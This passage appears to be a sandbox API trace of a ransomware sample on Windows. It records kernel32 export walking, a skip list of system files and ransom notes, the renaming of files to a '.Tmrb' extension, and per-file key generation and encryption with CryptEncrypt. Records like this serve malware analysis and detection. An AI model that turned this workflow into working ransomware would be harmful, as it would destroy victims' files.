(lpString="CREATEFILE2") returned 11 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0127.914] lstrlenA (lpString="CREATEFILEA") returned 11 [0127.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0127.914] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0127.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0127.914] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0127.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0127.914] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0127.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0127.914] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0127.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0127.914] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0127.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0127.914] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0127.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0127.914] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0127.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0127.914] lstrlenA (lpString="CREATEFILEW") returned 11 [0127.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0127.914] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0127.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0127.914] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0127.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0127.915] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0127.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0127.915] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0127.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0127.915] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0127.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0127.915] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0127.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0127.915] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0127.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0127.915] lstrlenA (lpString="CREATEJOBSET") returned 12 [0127.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0127.917] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0127.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0127.917] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0127.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0127.917] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0127.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0127.917] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0127.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0127.917] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0127.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0127.917] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0127.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0127.917] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0127.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0127.917] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0127.919] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0127.919] lstrlenA (lpString="CREATEPIPE") returned 10 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0127.919] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0127.919] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0127.919] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0127.919] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0127.919] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0127.919] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0127.919] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0127.919] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0127.919] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0127.919] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0127.919] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0127.919] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0127.920] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0127.920] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0127.920] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0127.920] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0127.920] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0127.920] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0127.920] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0127.920] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0127.920] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0127.920] lstrlenA (lpString="CREATETHREAD") returned 12 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0127.920] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0127.920] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0127.920] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0127.920] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0127.920] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0127.920] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0127.920] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0127.920] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0127.921] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1041\\eula.rtf.Tmrb") returned 40 [0127.921] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.Tmrb" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.tmrb"), dwFlags=0x0) returned 1 [0127.922] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.922] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.922] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.923] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0127.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0127.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0127.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0127.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0127.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0127.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0127.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0127.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0127.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0127.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0127.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\") returned 27 [0127.923] lstrlenW (lpString="LocalizedData.xml") returned 17 [0127.923] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1041\\" | out: lpString1="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0127.923] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" [0127.923] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0127.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0127.924] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=68226) returned 1 [0127.924] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0127.924] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0128.162] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0128.162] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0128.162] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0128.163] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0128.163] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0128.189] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.189] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0128.196] CloseHandle (hObject=0x5f8) returned 1 [0128.196] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.196] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0128.197] CloseHandle (hObject=0x0) returned 0 [0128.197] CloseHandle (hObject=0x5f4) returned 1 [0128.199] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.200] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.200] GetTickCount () returned 0x356eb [0128.200] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0128.200] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0128.200] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0128.201] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0128.201] lstrlenA (lpString="kernel32.dll") returned 12 [0128.201] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.201] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0128.201] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0128.201] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0128.201] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0128.201] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0128.201] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0128.201] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0128.202] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0128.202] lstrlenA (lpString="ADDATOMA") returned 8 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0128.202] lstrlenA (lpString="ADDATOMW") returned 8 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0128.202] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0128.202] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0128.202] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0128.202] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0128.202] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0128.202] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0128.202] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0128.202] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0128.202] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0128.202] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0128.202] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0128.202] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0128.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0128.202] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0128.203] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0128.203] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0128.203] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0128.203] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0128.203] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0128.203] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0128.203] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0128.203] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0128.203] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0128.203] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0128.203] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0128.203] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0128.203] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0128.203] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0128.203] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0128.203] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0128.204] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0128.204] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0128.204] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0128.204] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0128.204] lstrlenA (lpString="BACKUPREAD") returned 10 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0128.204] lstrlenA (lpString="BACKUPSEEK") returned 10 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0128.204] lstrlenA 